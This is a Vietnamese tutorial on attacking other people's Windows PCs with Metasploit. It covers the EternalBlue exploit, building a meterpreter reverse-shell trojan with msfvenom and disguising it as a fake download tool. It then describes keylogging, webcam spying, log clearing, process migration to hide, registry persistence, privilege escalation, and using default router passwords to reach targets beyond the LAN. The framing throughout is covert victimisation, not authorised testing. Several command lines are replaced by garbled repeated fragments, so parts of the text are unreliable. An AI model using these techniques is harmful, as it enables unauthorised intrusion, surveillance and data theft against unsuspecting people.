Hướng dẫn cơ bản hack local pc

Metasploit là bộ công cụ hack có sẵn trong các phiên bản linux như Kali linux, Backbox, … , nhằm tấn công và khai thác các lỗ hổng bảo mật trên các nền tảng khác nhau như windows, linux, website, cisco, … Bạn vẫn có thể cài Metasploit trên các hđh linux khác (tham khảo link này), có cả phiên bản dành cho Windows.

Có 2 hình thức khi sử dụng Metasploit:

  • Sử dụng các module để dò quét và tấn công vào lỗ hổng bảo mật của đối tượng.
  • Tạo mã độc (trojan), rồi bằng một cách nào đó truyền mã độc vào máy nạn nhân và nạn nhân kích hoạt nó.

Đánh vào lỗ hổng bảo mật phụ thuộc vào việc máy victim có để hổng lỗ nào hay ko. Nó có thể là những dịch vụ mạng mà tính bảo mật kém mà máy victim đang chạy. Dĩ nhiên máy victim mà bế quan toả cảng, ko mở port nào cả thì ta chẳng thể thâm nhập được từ bên ngoài.

Cài trojan đòi hỏi phải bằng cách một cách nào đó attacker truyền trojan và thực thi nó trên máy victim. Bạn phải trực tiếp mó tay vào máy nạn nhân, ví dụ “cho tao mượn máy vào mạng tí” hay “đưa máy đây tao cài win cho”; hoặc dụ nạn nhân tải và mở file độc hại ấy, ví dụ như bạn up lên fshare file có tên “tool-get-link-jav-hd.exe”, nạn nhân tưởng thật tải về rồi nhấn mở chạy, khi đó máy nạn nhân chính thức bị hack (để kế hoạch hoàn hảo hơn, tool ấy getlink được thật, nhưng đồng thời nó ngấm ngầm chạy mã độc).

Ngồi dò quét lỗ hổng tính khả thi thấp, bởi hầu hết các lỗ hổng định nghĩa trong Metasploit bây giờ đều đã có bản vá lỗi, bạn phải trông chờ vào việc cập nhật những module mới ra lò của Metasploit hoặc lấy từ nguồn bên ngoài mà trong thời gian hiện tại chưa có ai vá, hoặc xác suất nhỏ rằng máy nạn nhân “rỗ” tùm lum, ko update bản vá hay phần mềm đã lỗi thời. Cài trojan thì tính chủ động cao hơn, nhưng cũng rất dễ khiến bạn bị lộ mặt nếu nạn nhân ngoại suy ra những ai đã từng động vào máy của họ. Hay nói cách khác, tính khả thi của phương pháp này phụ thuộc vào nạn nhân có nghi ngờ hay ko. Phương pháp thứ nhất thì đảm bảo an toàn cho người tấn công hơn, vì nạn nhân ko hề hay biết (gọi là an toàn khi victim là người dùng phổ thông thôi, chứ bạn tấn công theo phương pháp nào cũng để lại dấu vết, phải đánh lạc hướng người truy dấu bằng cách giả mạo địa chỉ MAC hay ẩn danh qua mạng Tor hoặc VPN. Cách để bảo vệ bản thân khỏi sự truy dấu, mình sẽ đề cập sau).

Ok tạm hiểu cách thức hoạt động của 2 phương pháp trên như vậy đã. Bây giờ ta sẽ đi vào chi tiết tiến hành. Mình sẽ phân bài viết làm 2 phần tương ứng với 2 cách tấn công đó.

Tấn công dựa vào khai thác lỗ hổng bảo mật:

  1. Khởi động Metasploit bằng lệnh msfconsole . Ở nhiều bài viết mà mình tham khảo, ngta đề xuất chạy service postgresql start trước (postgresql là một phần mềm quản lý cơ sở dữ liệu, vì bộ công cụ của Metasploit tập hợp rất nhiều module nên phải chạy nó để việc tìm kiếm module dễ dàng hơn), mình thấy điều này cũng là cần thiết. Có một lưu ý là nếu đây là lần đầu tiên bạn chạy Metasploit, bạn nên chạy lệnh msfdb init trước để nó tạo database. Cập nhật của Metasploit thì khỏi lo vì địa chỉ kho cập nhật đã được khai báo trong repository của Kali linux (Backbox, Ubuntu), như vậy nó được cập nhật cùng với hệ thống thông qua lệnh apt-get update và apt-get upgrade; để cho chắc cú, bạn vẫn có lệnh msfupdate.
  2. Mỗi một lỗ hổng bảo mật được định nghĩa trong Metasploit thường có 2 module, một là cái auxiliary để quét xem máy victim có chứa lỗ hổng này ko, hai là exploit để khai thác điều đó. Mình lấy ví dụ với lỗ hổng bảo mật smb_ms17_010 nổi tiếng một thời sau vụ WannaCry, khi gõ lệnh tìm kiếm search [từ_khoá], bạn sẽ được đường dẫn dẫn tới các module đó. Dùng cái nào thì gõ lệnh use [đường_dẫn_module]. Mình thử với exploit của smb_ms17_010 nhé: use exploit/windows/smb/ms17_010_eternalblue Gõ tiếp show info để xem thông tin và các tuỳ chọn của nó.
    Hướng dẫn cơ bản hack local pc
    Hãy chú ý vào Available targets và Basic options. Lựa chọn nền tảng hệ điều hành của máy victim mà ta nhắm tới. Ở đây module này chỉ nhắm tới win7 và win server 2008, mặc định mã id target là 0. Nếu có nhiều lựa chọn target hơn, hãy set target [mã_id] để chọn nền tảng nhắm vào. Xem các giá trị ở cột Current Setting, thiếu hay cần thay đổi cái nào thì cấu hình cho nó theo cú pháp set [tên_option] [giá_trị]. Như ở hình trên, thiếu giá trị cho RHOST, đó là địa chỉ IP của máy victim, hay ProcessName, tên tiến trình trên máy victim mà ta gài payload vào, thích thì bạn đổi tên khác cũng đc, hay RPORT là port (cổng) mà ta muốn mở trên máy victim, đổi giá trị khác cũng dc, nhưng thôi để mặc định. Lưu ý ở cột Required, giá trị Yes tức là bắt buộc phải có. LHOST, LPORT, RHOST, RPORT là gì? LHOST: local host, là địa chỉ ip của máy attacker. LPORT: chọn lấy một cổng để Metasploit lắng nghe tín hiệu gửi về. RHOST: remote host, là địa chỉ ip của máy victim. RPORT: tương tự thì con trojan sẽ phát tín hiệu qua cổng này trên máy victim (LPORT và RPORT ko nhất thiết phải giống nhau, nhưng ta để giống nhau cho đỡ phải suy nghĩ nhiều).
  3. Xong thì gõ lệnh exploit để bắt đầu tấn công. (Nếu sau khi gõ exploit mà vài giây sau nó báo ConnectionTimeout có nghĩa là bạn đã ko thành công. Có thể máy nạn nhân ko tồn tại lỗ hổng đó, hoặc do bạn đặt các tham số chưa đúng) Nếu exploit thành công, bạn có thể can thiệp được vào máy victim với rất nhiều tuỳ chọn. Hai phương pháp đi theo hai con đường khác nhau, nhưng một khi thâm nhập vào máy nạn nhân rồi thì hành xử giống nhau thôi, nên mình sẽ trình bày tiếp sau phần chỉ dẫn phương pháp 2 dưới đây.

Tấn công dựa vào cài mã độc vào máy nạn nhân:

Tạm thời mình giới thiệu tạo payload bằng msfvenom có sẵn trong bộ Metasploit trước, những framework cũng tạo mã độc khác sẽ bổ sung sau.

  1. msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=[ip] lport=[cổng] -o [tên_file].exe với các tham số –platform nền tảng windows, -a hạ tầng áp dụng là 32 bit hay 64 bit, -f định dạng file xuất ra là exe, -p dùng loại payload nào, lhost là địa chỉ IP của máy mình, lport là cổng mở trên máy mình, -o là vị trí lưu kèm đặt tên file xuất ra. Ngoài ra còn có các tham số như -e lựa chọn kiểu mã hoá, -i là số lần mã hoá payload, -s là kích thước file xuất ra (nặng nặng xíu cho victim khỏi nghi ngờ, vì bình thường file payload xuất ra chỉ cỡ vài chục hay vài trăm kB). Để biết chi tiết hơn các option, gõ msfvenom -h Bàn chút về địa chỉ IP điền vào LHOST. Nếu bạn và victim chung một mạng LAN, hãy điền vào LHOST địa chỉ private IP, tức là địa chỉ có dạng 192.168.x.x. Kiểm tra private IP máy bạn bằng lệnh ifconfig. Nếu bạn muốn exploit victim qua internet, thì điền vào LHOST địa chỉ public IP. Xem public IP trên một số trang web như canyouseeme.org, whatismyip.com. Tuy nhiên hack ngoài mạng LAN rất khó khăn mà mình sẽ trình bày ở phần cuối bài viết.
  2. Mở một cửa sổ terminal khác, chạy msfconsole để khởi chạy Metasploit.
  3. Gõ `service postgresql start`0
  4. `service postgresql start`1 thiết lập kiểu payload mà bạn đã chọn để tạo file payload vừa rồi. Rồi cũng `service postgresql start`2, `service postgresql start`3 cho khớp với các tham số khi tạo trojan ban nãy.
  5. exploit để hóng kết nối về. Khi nạn nhân kích hoạt file payload của bạn và ko gặp trở ngại gì trên đường truyền, bạn sẽ nhận được thông báo “meterpreter session 1 opened”. Đôi khi bạn phải gõ thêm `service postgresql start`5 để phiên làm việc meterpreter mở ra (lưu ý tuỳ vào mã số session trên thông báo mà nhập số đó cho option -i cho đúng).

Một số lệnh thông thường tác động vào máy victim một khi meterpreter được mở (thêm tuỳ chọn -h vào sau để biết chi tiết cú pháp):

  • help: xem tất cả các lệnh trong meterpreter kèm theo mô tả ngắn.
  • background: lệnh này đưa session (phiên làm việc) hiện tại về chế độ nền, tức là quay về dấu nhắc “msf >” nhưng vẫn đang hóng kết nối từ victim (khác với lệnh exit là nó thoát hẳn). Quay trở lại phiên làm việc đó (dấu nhắc “meterpreter >”) chỉ cần nhập lệnh sessions -i [mã_phiên]
  • cd, pwd và ls: cũng là những lệnh trỏ thư mục, xem đường dẫn thư mục hiện tại, liệt kê file trong thư mục y hệt như thao tác trên linux, nhưng khác là ta đang thao tác trên máy nạn nhân.
  • lcd và lpwd: ngược lại, 2 lệnh này thao tác trên máy attacker.
  • show_mount: hiển thị thông tin về các ổ đĩa của máy nạn nhân.
  • clearev: xoá các log ghi lại lịch sử hoạt động trên máy nạn nhân.
  • download : tải file từ victim về máy mình. Lưu ý dạng đường dẫn là của win.
  • upload : tải file từ máy mình lên victim.
  • edit : xem và chỉnh sửa file ngay trên dòng lệnh.
  • excute -f [file] : thực thi file nào đó trên máy nạn nhân. Có các tuỳ chọn như: -H (ẩn tiến trình để victim ko nhìn thấy), -h (mở help xem hướng dẫn).
  • ipconfig: xem địa chỉ private IP của máy victim.
  • ps: hiện danh sách các tiến trình đang chạy trên máy victim.
  • search: tìm kiếm file hoặc folder trên thư mục nhất định.
  • shell: chạy lệnh cmd trên máy victim.
  • keyscan_start: bắt đầu theo dõi nhập liệu từ bàn phím victim. keyscan_dump: hiển thị chuỗi ký tự thu được. keyscan_stop: dừng theo dõi bàn phím.
  • screenshot: chụp màn hình máy nạn nhân.
  • webcam_list: xem danh sách các webcam. webcam_snap: chụp ảnh từ webcam. webcam_stream: soi webcam. Có các tham số như: -h (help), -i mã_số_camera (nếu máy victim có 2 camera trở lên, ví dụ như điện thoại, hãy điền số chỉ đã được nêu trong webcam_list, mặc định là 1), -q phần_trăm (chất lượng ảnh jpeg xuất ra sau khi chụp), -p đường_dẫn (thay đổi nơi lưu file xuất ra cũng như tên file, mặc định nơi lưu là thư mục /home/tên_người_dùng hoặc /root, tên file thì đặt ngẫu nhiên). Lưu ý, khi thực hiện lệnh liên quan đến webcam này, đèn báo của webcam trên laptop sẽ sáng, nên nạn nhân có thể nghi ngờ. Điện thoại thì ko có đèn báo nên có vẻ như ko lo bị lộ.
  • migrate mã_pid: khi nạn nhân mở Task manager lên, hiển nhiên sẽ nhìn thấy file exe của bạn đang chạy. Để tránh bị lộ, bạn cần cấy file backdoor của bạn vào một tiến trình đang chạy khác. Khi đó tiến trình gốc mất đi, nhưng kết nối vẫn còn tồn tại nhờ mã đã ký sinh vào tiến trình bị nhiễm kia (lưu ý migrate chỉ giấu đi tiến trình xâm nhập, nếu tiến trình nhiễm bị tắt thì coi như mất kết nối). Để thực hiện được migrate, đòi hỏi bạn phải leo thang đặc quyền, xem phần dưới.
  • run vnc: xem trực tiếp những gì diễn ra trên desktop máy nạn nhân. Lưu ý là vnc viewer sẽ tạo ra một file exe, đẩy nó vào máy nạn nhân rồi thực thi nó, do đó nạn nhân mở Task manager lên sẽ thấy một file exe với tên lạ hoắc. Nếu điền thêm tham số -i, thay vì build ra file exe, nó sẽ nhúng vào một chương trình sẵn có trong máy, mặc định là notepad.exe . Nếu có tham số -i đi kèm với tham số -P tên_chương_trình , nó sẽ nhúng vào chương trình đó, ví dụ cmd.exe . Cẩn thận nhé, chương trình đó vẫn có thể hiện lên trước mắt nạn nhân và bị nạn nhân tắt péng đi, riêng cmd.exe thì chạy ẩn được.

Thiết lập persistence để cài vĩnh viễn và tự động kích hoạt trên máy victim:

Nếu để bình thường, bạn chỉ thâm nhập vào máy nạn nhân khi nạn nhân mở file trojan đó và mất kết nối khi bạn thoát khỏi phiên làm việc meterpreter hoặc nạn nhân tắt máy. Dù bạn có gõ lại lệnh exploit lần nữa hoặc nạn nhân khởi động lại máy, thì bạn ko thể điều khiển lại máy nạn nhân được nữa, trừ phi file mã độc kia được nạn nhân ngu ngơ mở lại lần nữa. Vì thế để payload liên tục gửi tín hiệu và attacker hứng kết nối lúc nào cũng đc, bạn cần chạy persistance. Sau khi thâm nhập thành công và hiện dấu nhắc “meterpreter >”, hãy gõ lệnh sau: `service postgresql start`6 Khi đó payload sẽ tạo ra file .vbs mặc định được lưu vào trong đường dẫn C:\Users\tên_người_dùng\AppData\Local\Temp và chèn thuộc tính autorun vào registry HKCU(hay HKLM)\Software\Microsoft\Windows\CurrentVersion\Run\ . Các tham số như: -i (cách bao nhiêu giây thì phát tín hiệu một lần), -A (tự động kết nối với use multi/handler), -L đường_dẫn (nơi lưu file vbs, nếu ko muốn lưu theo đường dẫn mặc định kia), -P (loại payload được dùng, mặc định là windows/meterpreter/reverse_tcp), -S (tự động chạy khi máy khởi động và chạy như một service), -U (tự động chạy với tài khoản người dùng), -X (tự động chạy với mọi tài khoản), -h (mở help xem hướng dẫn).

Leo thang đặc quyền (Privilege Escalation): khi bạn thâm nhập vào máy victim, mọi hành động của bạn là đang dùng quyền của tài khoản user đang đăng nhập, nếu thực thi những yêu cầu đòi hỏi phải có quyền administrator, bạn sẽ gặp thông báo “access is denied” và ko thực hiện được. Do đó cần leo thang đặc quyền để thực thi hành động với quyền quản trị cao nhất.

  1. Tại dấu nhắc “msf >”, gõ lệnh: `service postgresql start`7
  2. `service postgresql start`8: nhập mã phiên làm việc hiện tại. `service postgresql start`9: mặc định giá trị là 0 tuơng ứng với kiến trúc 32bit.
  3. `search [từ_khoá]`0

Để kiểm tra xem bạn thực hiện leo thang đặc quyền thành công hay chưa, trở lại phiên session, ở dấu nhắc meterpreter, gõ lệnh `search [từ_khoá]`1, nếu nó hiện Server username là Authority/System thì ok, nếu chưa thì chạy lệnh `search [từ_khoá]`2 , rồi kiểm tra lại bằng getuid .

Những vấn đề gặp phải khi thực hiện tấn công ngoài mạng LAN và cách giải quyết:

Thứ nhất là bạn cần phải đăng nhập vào được router và thực hiện NAT Port (hay còn gọi Port Forwarding, là cho phép thiết bị nào trong mạng được tự do trao đổi dữ liệu ra bên ngoài qua cổng nào, và trả về bằng cổng nào). Mỗi router có cách NAT port khác nhau, bạn nên gg search trước. Còn vấn đề làm sao đăng nhập vào router? Mở trình duyệt gõ địa chỉ 192.168.1.1 (thường là thế). Nếu router là của bạn mua thì khỏi bàn, nhưng nếu bạn chỉ là kẻ xài ké, hãy hy vọng rằng chủ sở hữu chưa đổi pass. Các router thông thường thường có user lẫn pass là “admin”, trừ Dlink pass để trống, DrayTek pass “1234”. Cũng cần lưu tâm đến chuyện bên ngoài router của bạn còn router khác nữa, nghĩa là bạn phải NAT port cho cả hai router sao cho thông suốt một lối đi.

Điều thứ hai là địa chỉ public IP luôn thay đổi, mỗi lần bạn kết nối vào internet, ISP (Internet Service Provider – nhà cung cấp dịch vụ internet) lại cấp cho bạn IP mới. Bạn có thể sử dụng các dịch vụ dynamicDNS miễn phí như noip.com, nó làm 2 việc: cung cấp một tên miền cố định, và liên kết tới máy bạn để lấy địa chỉ public IP. Như vậy bạn điền tên miền đó vào LHOST, dịch vụ sẽ phân giải tên miền ra public IP hiện tại của bạn (kiểu như bạn cứ điền chức danh “lớp trưởng” vào LHOST, còn giáo viên sẽ làm dDNS phân giải “lớp trưởng” là tên đứa nào trong lớp).

Thực tế rất hay gặp trường hợp mạng lồng mạng, rất khó để có thể cấu hình con router ở cấp bên ngoài, đã thế cấu hình lằng nhằng rồi lại hoá hư vô. May thay, chúng ta có cách giải quyết đơn giản và dễ dàng hơn nhiều, đó là sử dụng VPN (Virtual Private Network – mạng riêng ảo). VPN cho phép bạn thiết lập một kết nối riêng tư (gọi là tunnel – đường hầm) với máy chủ VPN mà ko cần bận tâm ở giữa là gì. Giới thiệu với các bạn trang portmap.io . Chỉ với tài khoản miễn phí, bạn đã có thể sử dụng dịch vụ VPN ko giới hạn thời gian, chỉ giới hạn một quy tắc kết nối.